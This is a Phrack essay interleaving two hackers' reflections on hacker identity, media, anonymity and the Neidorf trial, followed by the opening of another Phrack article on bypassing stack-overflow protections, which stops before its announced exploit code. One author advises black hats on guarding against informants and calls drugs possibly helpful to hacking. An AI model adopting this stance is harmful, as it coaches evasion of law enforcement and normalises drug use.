Who owns an idea when it is anonymous? Who is the arbiter of ethics, the
|
|
individual hacker or the mass media? What good is a secret that cannot be
|
|
shared? What defines an author if the author is anonymous?
|
|
|
|
These are two stories from both hackers, fused together, as they struggle
|
|
to answer such questions. It is a collage of segments from the two tales.
|
|
|
|
~~~
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=----------=[ When I was a child I wanted to be one of them ]=----------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------------=[ by Antipeace ]=--------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
--[ Contents
|
|
|
|
1 - Who the hell is it written for?
|
|
2 - Who they think we are
|
|
3 - We are not _so_ special
|
|
4 - The downside of a hacking life
|
|
5 - So in the end...
|
|
|
|
--]
|
|
|
|
~~~
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------=[ The tale of the phrack boys ]=-------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=----------------------=[ by The Analog Kid ]=------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
--[ Contents
|
|
|
|
1 - A witch hunt begins
|
|
2 - What do people think they are?
|
|
3 - Are they so special?
|
|
4 - Why they must lurk in the shadows of publicity
|
|
5 - Of the indictment and the witch hunt
|
|
6 - A closing note
|
|
7 - Acknowledgments
|
|
8 - References
|
|
|
|
--]
|
|
|
|
~~~
|
|
|
|
--( A witch hunt begins )--
|
|
by The Analog Kid
|
|
|
|
"Neither have been charged ... they expect to at least be called as
|
|
witnesses at the case of the Phrack Boys [1]
|
|
|
|
April 0x5, 1990, 6:50 AM: On that day a hacker is born into this world.
|
|
|
|
March 0x1, 1990, 6:30 AM: Secret service agents charge into the room of
|
|
Phrack Inc contributor, The Mentor. Their guns are drawn and pointed at his
|
|
head.
|
|
|
|
March 0x1, 1990, 11:00 AM: Secret service agents complete their search and
|
|
seizure of The Mentor's property. Agents prepare to raid the Mentor's work
|
|
office [1].
|
|
|
|
April 0x5, 1990, 12:00 PM: The wheels are spinning busily at Phrack Inc.
|
|
With key members under investigation by the federal government, rumors are
|
|
rampant of the journal's demise. Remaining members of the underground
|
|
bustle to assemble a new issue and quell the rumors. "Phrack will and can't
|
|
ever die, the journal proclaims [2].
|
|
|
|
~~~
|
|
|
|
--( Who the hell is it written for? )--
|
|
by Antipeace
|
|
|
|
If I had to make a choice, I would say that the hacking papers which
|
|
impressed me the most were the unusual ones and by "unusual" I mean dealing
|
|
with subjects such as esotericism, philosophy, and ethics. Yes the kind of
|
|
things that would bore you to death. It's not that I systematically prefer
|
|
intellectual masturbation over coding but let's face the pathetic truth:
|
|
though there are exceptions, good technical papers are rarer and rarer and
|
|
information is shamelessly duplicated everywhere.
|
|
|
|
Interestingly enough, papers written on a thinking or life experience basis
|
|
are on a whole other scale. Being based on personal experience, they are
|
|
intrinsically unique. There is no better example than the excellent article
|
|
written by TAp in this issue. Believe me it kicks ass; you'll feel it deep
|
|
down.
|
|
|
|
Writing these kind of things is usually done with the hope that a message
|
|
will be transmitted. I personally chose to write mine for the people who
|
|
have no clue of what a hacker's true life really is. That may include kids
|
|
willing to learn about our culture as well as those of you who just came
|
|
across these words.
|
|
|
|
If you ever thought that being a hacker was as cool as what's pictured
|
|
in the movies, then please don't stop reading. This paper, is just a set
|
|
of personal thoughts regarding the (unfinished) life of one (or more ?)
|
|
hackers amongst thousands. Neither the best nor the worst. Just one of
|
|
them.
|
|
|
|
~~~
|
|
|
|
--( What do people think they are? )--
|
|
by The Analog Kid
|
|
|
|
Phrack Inc., an online journal created by the hacker community, represents
|
|
the contemporary hacker community. Its articles are still well respected
|
|
within academia and it is likely that some of its content draws from the
|
|
academy. Although Phrack Inc. may seem devious to mainstream society on
|
|
the surface, it serves a deeper purpose as a medium to freely distribute
|
|
substantive technical information between an underground community of
|
|
computer programmers. Functionally, Phrack Inc. is an outlet for the free
|
|
discussion of software exploitation.
|
|
|
|
During my freshman year of college I stumbled upon a Phrack Inc. article
|
|
from time to time, but never realized the site's importance until my
|
|
sophomore year. I was enrolled in a graduate class and the professor used
|
|
the web site as a reference in class one day. When discussing the use of
|
|
the web-site with him after class, the professor was immediately intrigued
|
|
that I was familiar with the site. He told me that, in his opinion, the
|
|
contributors of Phrack Inc. were just as intelligent as those in academia,
|
|
and that sometimes it was good to have publications that were more direct
|
|
and less formal than their academic counterparts. In addition, an in depth
|
|
knowledge of computer software and hardware is required, with references to
|
|
assembly code, operating systems, glibc, gdb, and the dynamic linker strewn
|
|
throughout the articles. The site is also respected by security
|
|
professionals within the IT community, who use it as a tool to track the
|
|
latest hacking methods [3].
|
|
|
|
Phrack, as a publication, creates an outlet for these hackers to express
|
|
themselves and reveal their values to the public.
|
|
|
|
~~~
|
|
|
|
--( Who they think we are )--
|
|
by Antipeace
|
|
|
|
The way we humans are generally perceived is really important to most of
|
|
us as there is always an implicit resulting judgment. With the notable
|
|
exception of psychos, most of us are probably willing to be seen as we
|
|
'truly' are, or in other words as we 'believe' ourselves to be, and not as
|
|
we seem to be. As being hackers is part of our identity, it's only natural
|
|
to feel concerned about how this secret part of our personality is seen by
|
|
society.
|
|
|
|
This brings the question of how hackers are perceived by people in general.
|
|
Though there are notable exceptions, people usually see us as movies/books
|
|
and magazines/TV shows describe us.
|
|
|
|
Various fictional hackers are pictured in cyberpunk science fiction
|
|
('Matrix'), action movies ('Live Free or Die Hard'), caper films
|
|
('Sneakers') and more generally in many fictional stories. However compared
|
|
to them, we average hackers from the real world are forced to admit that
|
|
we're not that great:
|
|
|
|
- we do not hack into satellites on a daily basis
|
|
- we do not own OpenGL maps of buildings allowing us to control lights,
|
|
elevators and doors at will
|
|
- at some point encryption, passwords and firewalls may be troublesome
|
|
even for us ;)
|
|
|
|
Of course weak minds may be abused in the process and assume as a result
|
|
that hackers are, at some point, what a typical Bruce Willis movie is
|
|
showing them: wizards. Should we feel angry about it? Certainly not because
|
|
this is fiction and everything is allowed. Now things are different when it
|
|
comes to media.
|
|
|
|
Who ever criticized the journalists? Not me, nor you, with high
|
|
probability. Almost everybody was or will be the witness of a false claim
|
|
(or of an obvious speculation) from a journalist in his lifetime. The
|
|
problem is that taking into account the almost unlimited number of profiles
|
|
in the audience, that's itself a hint pointing out that mistakes are
|
|
frequent. What is obviously not correct for you may appear correct for me,
|
|
and vice versa.
|
|
|
|
Now what's interesting is that it gives us an idea about how fucked up a
|
|
media outlet (newspaper, web site, TV show) may be regarding a particular
|
|
area (such as security but not only).
|
|
|
|
I believe there are two cases to consider:
|
|
- Technical publications and/or computer literate media
|
|
- Mass media aimed at the general public
|
|
|
|
Regarding the first case, my personal belief is that this is two sided.
|
|
Either the provided information is good or it's total bullshit. People
|
|
who care are doing quality and not useless shit. From this point of view,
|
|
popularization is the worst kind of information. Under the pretext of
|
|
simplifying things for people, every kind of approximation appears to be
|
|
allowed. Of course, publication being associated with sales and/or ratings,
|
|
if something can be exaggerated to impress even more, why not? Why would
|
|
journalists try to understand and care about their subject? After all the
|
|
target is a mass audience. So if 2 or 3 people were mad, who would give a
|
|
shit about it?
|
|
|
|
I've hated journalists for a long time for what I thought to be their
|
|
incompetence. I later learned about the dramatic conditions they're living
|
|
in: precarious employment and the necessity to write ever more for a low
|
|
salary. Journalism changed and now I hate journalists for their lack of
|
|
professionalism. You may argue that one needs to live but I would answer
|
|
back that nothing justifies intellectual prostitution. If a person is
|
|
clever enough to have that kind of job, other jobs should be possible as
|
|
well.
|
|
|
|
Now coming back to us, how could we be correctly understood / represented
|
|
in these conditions? Sadly, bad journalism is often mass journalism which
|
|
makes things even worse as people (including around you) will always be
|
|
influenced. Trying to change their way to see things is already a lost
|
|
cause. As a hacker you will have to learn to live with bullshit all around
|
|
you. It may be tough but the only important thing is to have independent
|
|
self-esteem, not relying on the judgement of others. A good psychologist
|
|
would even tell you that it's necessary for personal construction...
|
|
|
|
~~~
|
|
|
|
--( Are they so special? )--
|
|
by The Analog Kid
|
|
|
|
Why then are these hackers cast in such an antagonistic light by the media,
|
|
if the contributors to journals such as Phrack are mainly thinkers? Given
|
|
that Phrack's content is as substantial and intellectual as an academic
|
|
journal, why is its community cast in such an antagonistic light?
|
|
|
|
Morally, Phrack Inc. is in a gray area. The site itself does not engage in
|
|
or promote illegal activity, however the information on Phrack Inc. is
|
|
published in a very open way; Phrack Inc. does not assume responsibility
|
|
for what the criminal underground may do with their information. More
|
|
formal research communities would consider it moral etiquette to have
|
|
security holes fixed before publishing them. Phrack Inc.'s tendency to
|
|
publish information with no forewarning is a testament to the group's
|
|
valuation of free information and an uncontrollable side effect of its
|
|
association with the hacking underground.
|
|
|
|
Most Phrack releases have a GPG key included with the introduction [4].
|
|
This is not a feature commonly seen in academic or professional articles.
|
|
Functionally there is an important reason to have an encryption key, it
|
|
allows the articles to be submitted securely (if the e-mail is intercepted
|
|
the contents could not be read), preserving the identity of the author.
|
|
This highlights the controversial nature of what is discussed in the hacker
|
|
community, as well as the members' valuation of anonymity. By remaining
|
|
anonymous they feel able to safely continue the free flow of information,
|
|
which is the ultimate goal of Phrack Inc.
|
|
|
|
The free flow of information at Phrack allows one to learn a-lot about the
|
|
hackers who submit articles to it. Their values, their personality, and
|
|
their intellectual curiosity is spread all throughout the articles.
|
|
|
|
~~~
|
|
|
|
--( We are not _so_ special )--
|
|
by Antipeace
|
|
|
|
Having earlier outlined my disagreement with the common beliefs, now is the
|
|
time to share my own vision. IMHO no one is born designated to become a
|
|
"hacker" some day. I don't know if there are predispositions (maybe our
|
|
insane curiosity or the urge to understand things?) but I would say that
|
|
being a hacker is essentially about acquiring a hacking mindset.
|
|
|
|
Now that being said, let's see what a hacker truly is.
|
|
|
|
Intellect
|
|
---------
|
|
|
|
Though movies and medias sometimes describe hackers as genius (see
|
|
"Hackers" with the cute Angelina Jolie for example ;) who for some reason
|
|
are shown proficient with computers, reality is a bit different.
|
|
|
|
Sorry to destroy the myth but the average hacker is just an intellectual.
|
|
Of course, there are true geniuses amongst us but the fundamental
|
|
difference lies in the willingness to exploit our brain as much as possible
|
|
in order to ask the essential questions as well as to find the appropriate
|
|
answers.
|
|
|
|
There is usually no need to be brilliant to impress people with hacking.
|
|
Let me make an analogy to magicians. Even the simplest tricks are amazing
|
|
for people who don't know how they are working. Things are the same in
|
|
hacking. Daily life hacking is probably more about using thousands of cheap
|
|
tricks but people are not aware of that. Since this kind of cheap hacking
|
|
has visible consequences for the masses, hackers are falsely assumed to be
|
|
the geniuses described in movies.
|
|
|
|
Personality
|
|
-----------
|
|
|
|
Most hackers are computer 'freaks' able to spend hours in front of their
|
|
screen in order to solve a particular problem. In a way, hackers are geeks
|
|
and there are thousands of them.
|
|
|
|
That said, it must be added that they have this unusual characteristic
|
|
growing with time: the obsessional will to discover incoherency, mistakes
|
|
(having impacts in security or not) in everyday life. As I said, a hacker
|
|
is probably not smarter than you, but he/she is way more focused.
|
|
|
|
What may be cool at first sight is sometimes heavy to carry. Imagine
|
|
yourself analyzing everything. Not only is that painful for others
|
|
(friends, coworkers, family, lovers) to have this kind of person around but
|
|
it can also be troublesome for you. Indeed you will sometimes be mad
|
|
because of all these daily pieces of nonsense that ordinary people do not
|
|
notice. Probably because of that, some hackers assume that they are smarter
|
|
than the rest of the world, sometimes internally thinking they are some
|
|
House-like guy, and quickly develop unfortunate ego issues which are
|
|
discussed later.
|
|
|
|
Social profile
|
|
--------------
|
|
|
|
Once again, it would be easy to draw quick conclusions based on collective
|
|
imagery and again, there is no simple description as it's impossible to
|
|
generalize. The social profile of individuals is a mix of both their
|
|
personality and their evolution.
|
|
|
|
Amongst the hackers I've met around the world, I can say that I've seen
|
|
people who are:
|
|
|
|
- socially isolated / barely capable of having a proper conversation
|
|
- "normal" (taking into account the usual criteria)
|
|
- extroverts always talking to everybody everywhere they go
|
|
|
|
Personally I would say that I quickly understood that a social life was
|
|
important, not to say necessary. Having natural tendencies to be an
|
|
introvert, I've worked with myself to reach a stable equilibrium.
|
|
|
|
Note that I try as much as possible not to mix my activities and my social
|
|
life. The reason is simple: as I said, people around me are not able to
|
|
understand (because of the lack of technical background) nor really willing
|
|
to understand it (because of the prejudices coming from the media). Anyway
|
|
this is not that bad, considering the security consequences of being a
|
|
chatterbox.
|
|
|
|
~~~
|
|
|
|
--( Why they must lurk in the shadows of anonymity )--
|
|
by The Analog Kid
|
|
|
|
Those who do choose to share their information generally publish under
|
|
anonymous aliases so as to protect their true identity. Publishing articles
|
|
under anonymous screen names is in stark contrast to academia, where the
|
|
goal is to have as much information published with your name as possible.
|
|
Part of why academia admires Phrack Inc. is that by retaining anonymity,
|
|
its members are free to discuss topics at will without concern for
|
|
"political fallout. Some of the authors of Phrack Inc. are listed as,
|
|
"nemo, "huku, and "BSDaemon [5]. As a case study in this anonymous
|
|
culture, the introduction of Phrack Inc. issue 66, contains a good-bye to a
|
|
friend: "cliph [4]. No other information is given. I inadvertently
|
|
stumbled across the identity of this Cliph while reading an article on a
|
|
different web-site, which stated that, "This post is dedicated to Wojciech
|
|
"cliph Purczynski. [6]. Even with the full name available, a search for
|
|
information yields no clues as to what became of this individual. Multiple
|
|
tributes to the individual known as "cliph show that within the hacker
|
|
community there is respect and recognition to the most skilled members;
|
|
this is not different than academia.
|
|
|
|
The issue of using anonymous screen names is directly confronted at the end
|
|
of the "Malloc DES-Maleficarum article, where the author comments on a
|
|
quote by Eric S. Raymond who criticizes the use of such false names. The
|
|
author confronts the reader with the question, "Is there some connection
|
|
between our name and our skills, philosophy of life or our ethics in
|
|
hacking [7]? The author -- intending to speak for the community as a
|
|
whole -- argues that the means by which they identity themselves is a
|
|
result of society's judgement on computer hackers and not a reflection of
|
|
the people. It is interesting that an American, Eric Raymond, would place
|
|
heavy emphasis on the personal ownership of ideas, a very American value.
|
|
The Phrack Inc. community, undoubtedly as global as the Internet within
|
|
which it exists, shows interest in expanding knowledge and the ideas of
|
|
others, rather than taking personal ownership of static concepts.
|
|
|
|
In its layout, Phrack Inc. exhibits a much more informal nature than formal
|
|
publications. Consider for example, the previously mentioned article
|
|
"Malloc DES-Maleficarum. The title is a clear allusion to the Malleus
|
|
Maleficarum, a treatise on witches published in 1486 during the inquisition
|
|
[8]. By invoking references to witchcraft the journal is again making light
|
|
of the negative connotations society imposes upon it. The section headings
|
|
too are of an unconventional nature: "The House of Mind, "The House of
|
|
Prime, "The House of Spirit, "The House of Force, "The House of Lore,
|
|
and "The House of Underground [7]. Article 5, "Backdooring Juniper
|
|
Firewalls, also makes reference to movies in it sections headings, with
|
|
titles such as "Netscreen of the Dead, and "28 Hacks Later [10]. The
|
|
references to Medieval texts and creative naming schemes demonstrates a
|
|
level of culture and sophistication (as well as humor) within the
|
|
community.
|
|
|
|
Although the space here would not allow for such discussion, the audience
|
|
might stop for a moment and consider what it means to be an author, and
|
|
whether a legal name is truly required to identify a work as one's own.
|
|
In Michael Foucault's essay, "What Is an Author?, Foucault decrees that,
|
|
"The author function is linked to the juridical and institutional system
|
|
that encompasses, determines, and articulates the universe of discourses
|
|
[12]. If this statement is accurate, then the function of the author at
|
|
Phrack Inc. is to allow the free distribution of material that might
|
|
otherwise be censored. The raids and indictment of founding Phrack Inc.
|
|
members discussed at the beginning show the severe role that the global
|
|
juridical system has in directing Phrack Inc's style of discourse. If
|
|
"institutional [12] refers to the ad hoc rules of morality and ethics
|
|
imposed by society, then this again forces the Phrack Inc. contributors
|
|
into an anonymous universe of discourse, as society might forsake these
|
|
contributors. Consider how a deep and publicized knowledge of controversial
|
|
computer hacking methods might be a black mark on the reputation of any
|
|
programmer applying for work with a large corporation.
|
|
|
|
The need to protect ones identity, and avoid public recognition for their
|
|
discoveries, is one of the downsides that comes with being a member of the
|
|
hacker community.
|
|
|
|
~~~
|
|
|
|
--( The downside of a hacking life )--
|
|
by Antipeace
|
|
|
|
Consider life in general. People are not always happy because they are
|
|
bothered with random things such as the neighbor's dog always barking for
|
|
nothing, their child having bad grades at school, etc. The modern world is
|
|
full of stress and there is nothing to do but to bear it.
|
|
|
|
Hacking certainly has cool aspects (though contrary to movies, in the end
|
|
you won't get the girl after saving the world) but it also has side effects
|
|
that are added to the current level of daily stress. Occasionally, you will
|
|
be angry or anxious. You may even become paranoid at some point. This is
|
|
mainly what I call the downside of the hacking life.
|
|
|
|
The disclosure war
|
|
------------------
|
|
|
|
Well this is a hot topic. To simplify things for those who are unfamiliar,
|
|
let's say that the hacking scene is divided in two groups of individuals:
|
|
|
|
- people publishing (or willing to publish) bugs, exploits, papers
|
|
- people who want to keep these things secret or at the very least
|
|
within the underground
|
|
|
|
Though clearly belonging to the second group, I won't try to convince you
|
|
that disclosure is bad as the arguments for both sides are valuable. I just
|
|
choose my side. However, I can tell you how this issue may affect you or
|
|
your friends.
|
|
|
|
If you are a so called 'black hat', then there is a good chance that you
|
|
have developed techniques or exploits based on your own discoveries. Ten
|
|
years ago, if you were smart/skilled enough, being innovative could bring
|
|
you new kickass tools/exploits in a matter of hours or days at the very
|
|
least. Things are a bit different nowadays and the required time for
|
|
giving birth has increased a lot (though virtualization and generalization
|
|
of scripting languages helped a lot). If you consider remote exploits
|
|
targeting C programs, it takes so much time to find and exploit bugs that
|
|
the cost of doing so is now insane. Now imagine that you've been working on
|
|
a particular bug for weeks / months. How would you react if some guy were
|
|
to publish it as a full disclosure? Oh you would be angry, and you may even
|
|
be willing to kill him. The fact that the bug may have been leaked or that
|
|
the guy releasing may not have understood the bug properly would only
|
|
exacerbate your feelings.
|
|
|
|
The ring of trust
|
|
-----------------
|
|
|
|
What ever hacking activities you have, there is little doubt that you won't
|
|
remain alone. Socially speaking, at some point you will try to be part of a
|
|
community or part of a group because:
|
|
|
|
- you will want to find people able to understand what you are doing
|
|
- you will want to share information
|
|
|
|
This will bring the unavoidable question of the amount of trust that you
|
|
can place in fellow hackers. Ironically this is a security problem and as
|
|
such it must be solved before exchanging anything. Practically speaking, we
|
|
all make the same mistake at least once: we trust and we are betrayed.
|
|
|
|
|
|
(---------------------------------)
|
|
|
|
He that has eyes to see and ears to hear may convince himself that no
|
|
mortal can keep a secret. If his lips are silent, he chatters with his
|
|
fingertips; betrayal oozes out of him at every pore.
|
|
|
|
Sigmund Freud
|
|
|
|
(---------------------------------)
|
|
|
|
|
|
Amongst the consequences of information leaks, I've personally been the
|
|
witness of the two following sad things:
|
|
|
|
- Busts. Never forget that there may be people leaking information to
|
|
the government agencies amongst us. While it's true that most people
|
|
will unintentionally leak, some of them may be directly working for
|
|
the gov either because they got busted themselves and had no choice
|
|
but to cooperate or because they were the enemy from the very
|
|
beginning. Also one piece of advice, do not make the mistake of
|
|
assuming that your friends will be mute once caught, we're only human
|
|
beings.
|
|
|
|
- 0day leaks. Fortunately it happens more often than the previous case.
|
|
Whenever you see the price of bugs (or of the exploits), you can
|
|
imagine how much of a temptation it can be to sell them if you are
|
|
some jackass. But how would the asshole get the information?
|
|
|
|
I came up with a theory. Because of the very nature of our research,
|
|
I believe that the more innovative/kickass/time-consuming it is,
|
|
the more likely you will be to share the information with at least
|
|
someone else. It's just like owning some big secret that you can't
|
|
share with anyone. Now consider the analogy of a pebble being thrown
|
|
on the surface of a pond. Each time the pebble hits the surface,
|
|
waves propagate. If the pebble is the information then the waves
|
|
are the leak. One strike may induce countless waves: your 0day is
|
|
condemned to death.
|
|
|
|
Now a personal message for my fellow hackers. If you want to avoid
|
|
these pinches on your chest when your precious bugs are disclosed,
|
|
there is only one thing to do: stop crying over your loss and next
|
|
time shut the fuck up. Nothing else is working, you should know that.
|
|
|
|
This trust must be placed with time. I would also recommend the GPG chain
|
|
of trust model. It's not flawless (and far from it, believe me) but it may
|
|
be a good alternative. It will allow you to release the tension of having
|
|
to always keep things to yourself, and yet doing it in a 'controlled'
|
|
way...
|
|
|
|
Ego and acknowledgment
|
|
----------------------
|
|
|
|
It usually takes time to be mentally strong. No matter how smart people
|
|
are, they will have ego issues at some point in their hacking life. The
|
|
problem is that ego is responsible for the urge for acknowledgment that
|
|
push people to:
|
|
|
|
- disclose security flaws & exploits
|
|
- publish and display themselves more than required in conferences
|
|
- spend time on IRC / ML explaining to the world how cool they are
|
|
|
|
Don't get me wrong, this is not a complaint against disclosure. Some people
|
|
choose to disclose bugs and/or techniques out of their own free will. This
|
|
is their choice and I respect that. Now things are different when your mind
|
|
is fucked because of your increasing ego.
|
|
|
|
Like I said, everyone in our community is fucked at some point in his life,
|
|
loses common sense and ends up doing stupid things. Of course, I'm no
|
|
exception as I've done things I'm not proud of years ago. While this ego
|
|
thing is supposed to be a short period in your life (people grow up), it
|
|
seems that part of the security circus definitely lost itself.
|
|
|
|
Drugs & alcohol
|
|
---------------
|
|
|
|
To tell you the truth I have no real explanation about our insane alcohol
|
|
consumption. I guess this is just part of the culture. Whenever you see
|
|
your friends, you have to drink and with time, you'll drink more and more
|
|
often (though not as much as .pl guys, damned crazy drunken bastards ;>).
|
|
However while your physical (kidney) tolerance increases with time, the
|
|
vicious side effect of alcohol will remain: while drunk you will be more
|
|
likely to leak information. My advice: if you have little control over
|
|
yourself, do not heavily drink with unknown people.
|
|
|
|
Amongst fellow hackers, most drug users that I know tried many things out
|
|
of curiosity and a willingness to experiment, which are both part of their
|
|
hacker nature. They also take drugs to enhance their creativity or their
|
|
ability to concentrate. As such, drugs may have a positive impact on your
|
|
hacking.
|
|
|
|
I doubt I will ever see a hacker amongst high level athletes ;-)
|
|
|
|
~~~~
|
|
|
|
--( Of the indictment and the witch hunt )--
|
|
by The Analog Kid
|
|
|
|
So then what of Phrack Inc.? If not academic or professional in nature, can
|
|
it be dismissed as merely the mischievous work of hooligans? Certainly the
|
|
technical expertise and respect the journal has gained within academia and
|
|
the professional world shows that this work is not easily dismissed as
|
|
trivial. What of its ethics then? What really is the genre and purpose of
|
|
Phrack Inc.?
|
|
|
|
On July 23, 1990 the trial of Craig Neidorf, the 19 year old pre-law
|
|
student who founded Phrack Inc. out of a desire to exercise free speech,
|
|
began. Neidorf was indicted on 10 felony counts carrying a maximum penalty
|
|
of 65 years in prison, primarily related to the theft of a proprietary Bell
|
|
South document claimed to be worth $23,000. After the defense demonstrated
|
|
that the information Neidorf was accused of stealing could be obtained from
|
|
Bellcore by calling a 800 number and paying a $13 fee, the government was
|
|
forced to drop all charges to avoid utter embarrassment [11].
|
|
|
|
On the surface the actions of Craig Nedorf seemed sinister and criminal in
|
|
nature. The facts of the case however, showed the below the surface were
|
|
innocent intentions mislabeled by the institutions of society. Although
|
|
society may view Phrack Inc. as devious and criminal, what really lies
|
|
behind the facade is a journal of credible intellectual material that,
|
|
while coming from a different culture, rivals that of academia. The members
|
|
of this community all have their own unique experiences and views and we
|
|
can learn a lot about society and the flow of information by listening to
|
|
what these people have to say.
|
|
|
|
~~~
|
|
|
|
--( So in the end... )--
|
|
by Antipeace
|
|
|
|
When I was a child I wanted to be one of them, I wanted to be a hacker.
|
|
More than two decades later, not only have I finally fulfilled this dream
|
|
but I have also gathered enough experience to analyze the impact that it
|
|
has had on my life.
|
|
|
|
Clearly it brought me a lot. Not only have I met the most fascinating
|
|
people of my life, but it gave me this feeling that no matter how fucked
|
|
things could be around us, I would always be able to see through it.
|
|
|
|
However living a hacker's life wasn't harmless as I experimented with a few
|
|
unpleasant things, which even now still have (minor) impacts on my life.
|
|
Without a doubt, the more you experiment, the stronger you become. That's
|
|
why I will never regret having chosen this path.
|
|
|
|
I wrote this paper as an anonymous author (ego issues being mostly behind
|
|
me at the time of writing) with the hope that people interested in the
|
|
underground culture would read it. I tried to focus on the more interesting
|
|
points. There is a lot more that could be developed as I only threw a
|
|
few ideas around, sometimes exclusively mine, sometimes shared by fellow
|
|
hackers and friends.
|
|
|
|
~~~
|
|
|
|
--( A Closing Note )--
|
|
by The Analog Kid
|
|
|
|
And so two stories, from two hackers, have been fused in time and presented
|
|
to you here at Phrack Inc. We hope you learned something about the culture
|
|
One story was written by a hacker speaking of his own life; the other was a
|
|
story hoping to analyze the hacker culture, and Phrack's place in
|
|
discourse, on a large scale.
|
|
|
|
We hope you learned something about who these "hackers" seen in media
|
|
references are, what they believe, and what drives them.
|
|
|
|
~~~
|
|
|
|
--( Acknowledgments )--
|
|
by The Analog Kid
|
|
|
|
First I give a tip of the hat to Rutty for teaching me how to write, and
|
|
still teaching me to write years later. To Roadie for teaching me how to
|
|
write, skipping town, and never teaching me how to write again. To Bearz
|
|
for showing me how to work outside the box. And to Ziggy for condensing
|
|
whole paragraphs of mine into single sentences. :) Without L.A. this
|
|
paper would have lacked much of its direction, and in fact the W.C. made
|
|
substantial contributions. Finally, thanks to al1c3_c00p3r for helping me
|
|
to polish the final product.
|
|
|
|
~~~
|
|
|
|
--( Acknowledgments )--
|
|
by Antipeace
|
|
|
|
To my friends...
|
|
Special fuck to kingc0pe and his fellow cockroaches.
|
|
|
|
~~~
|
|
|
|
--( References )--
|
|
by The Analog Kid
|
|
|
|
[1] Phreak_Accident. (2010, September 21) Phrack World News: Issue XXXI,
|
|
Part Three. [Online].
|
|
Available: http://phrack.org/issues.html?issue=31&id=10#article
|
|
|
|
[2] DH. (2010, September 21) Intro to Phrack 31. [Online].
|
|
Available: http://phrack.org/issues.html?issue=31&id=1#article
|
|
|
|
[3] W. Sturgeon. (2010, September 21) Long-lived Hacker Mag Shuts Down.
|
|
[Online].
|
|
Available: http://news.cnet.com/Long-lived-hacker-mag-shuts-down/2100-
|
|
7349_3-5783383.html
|
|
|
|
[4] The Circle of Lost Hackers. (2010, September 16) Introduction.
|
|
[Online].
|
|
Available: http://phrack.org/issues.html?issue=66&id=1#article
|
|
|
|
[5] (2010, September 16) Phrack Authors. [Online].
|
|
Available: http://phrack.org/authors.html
|
|
|
|
[6] B. Hawkes. (2010, September 19) Linux Compat Vulns (part 2). [Online].
|
|
Available: http://sota.gen.nz/compat2/
|
|
|
|
[7] blackngel. (2010, September 15) Malloc DES-Maleficarum. [Online].
|
|
Available: http://phrack.org/issues.html?issue=66&id=10#article
|
|
|
|
[8] (2010, September 18) The Malleus Maleficarum. [Online]. Available:
|
|
http://www.malleusmaleficarum.org/
|
|
|
|
[9] L. Highsmith. (2010, September 19) Linux Kernel Heap Tampering
|
|
Detection. [Online].
|
|
Available: http://phrack.org/issues.html?issue=66&id=15#article
|
|
|
|
[10] Graeme. (2010, September 19) Netscreen of the Dead: Developing a
|
|
Trojaned Firmware for Juniper ScreenOS Platforms. [Online].
|
|
Available: http://phrack.org/issues.html?issue=66&id=5#article
|
|
|
|
[11] D. Denning, "The United States Vs. Craig Neidorf: a Debate on
|
|
Electronic Publishing, Constitutional Rights and Hacking."
|
|
Communications of the ACM, 1991.
|
|
|
|
[12] M. Foucault, The Foucault Reader, P. Rainbow, Ed. Vintage, 1984.
|
|
|
|
[13] (2010, September 26) Phrack Magazine. [Online].
|
|
Available: http://phrack.org/
|
|
|
|
--------[ EOF
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x0d of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------=[ Scraps of notes on remote stack overflow exploitation ]=------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------=[ Adam 'pi3' Zabrocki - pi3 (at) itsec pl ]=-------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
|
|
---[ Contents
|
|
|
|
1 - Introduction
|
|
2 - Anti Exploitation Techniques
|
|
3 - The stack cookies problem
|
|
3.1 - A story of cookie protection
|
|
3.2 - The canary security
|
|
3.3 - Exploiting canaries remotely
|
|
4 - A few words about the other protections
|
|
5 - Hacking the PoC
|
|
6 - Conclusion
|
|
7 - References
|
|
8 - Appendix - PoC
|
|
8.1 - The server (s.c)
|
|
8.2 - The exploit (moj.c)
|
|
|
|
|
|
---[ 1. Introduction
|
|
|
|
Before the main topic of this article starts I would like to say, this
|
|
paper describes a few little techniques based on small observations related
|
|
to the POSIX standard. This observation open a small door for us to use a
|
|
mix of well known exploitation techniques for bypassing modern security
|
|
mechanisms / systems.
|
|
|
|
Nowadays, finding a stack overflow error does not imply a successful
|
|
attack on the system. Bah! Nowadays, it is much harder, nearly impossible
|
|
to do a remote attack. This is because of the new security patches which
|
|
strongly increase the difficulty of exploiting bugs. We have a really
|
|
impressive number of different kind of patches that protect against attacks
|
|
in different layers and use different ideas. Let's look at the most popular
|
|
and typically used ones in modern *NIX systems.
|
|
|
|
|
|
--[ 2. Anti Exploitation Techniques
|
|
|
|
|
|
*) AAAS (ASCII Armored Address Space)
|
|
|
|
AAAS is a very interesting idea. The idea is to load libraries (and more
|
|
generally any ET_DYN object) in the 16 first megabytes of the address
|
|
space. As a result, all code and data of these shared libraries are located
|
|
at addresses beginning with a NULL byte. It naturally breaks the
|
|
exploitation of the particular set of overflow bugs in which an improper
|
|
use of the NULL byte character leads to the corruption (for example
|
|
strcpy() functions and similar situations). Such a protection is
|
|
intrinsically not effective against situations where the NULL byte is not
|
|
an issue or when the return address used by the attacker does not contain a
|
|
NULL byte (like the PLT on Linux/*BSD x86 systems). Such a protection is
|
|
used on Fedora distributions.
|
|
|
|
*) ESP (Executable Space Protection)
|
|
|
|
The idea of this protection mechanism is very old and simple.
|
|
Traditionally, overflows are exploited using shellcodes which means the
|
|
execution of user supplied 'code' in a 'data' area. Such an unusual
|
|
situation is easily mitigated by preventing data sections (stack, heap,
|
|
.data, etc.) and more generally (if possible) all writable process memory
|
|
from executing. This cannot however prevent the attacker from calling
|
|
already loaded code such as libraries or program functions. This led to the
|
|
classical return-into-libc family of attacks. Nowadays all PAE or 64 bits
|
|
x86 linux kernel are supporting this by default.
|
|
|
|
*) ASLR (Address Space Layout Randomization)
|
|
|
|
The idea of ASLR is to randomize the loading address of several memory
|
|
areas such as the program's stack and heap, or its libraries. As a result
|
|
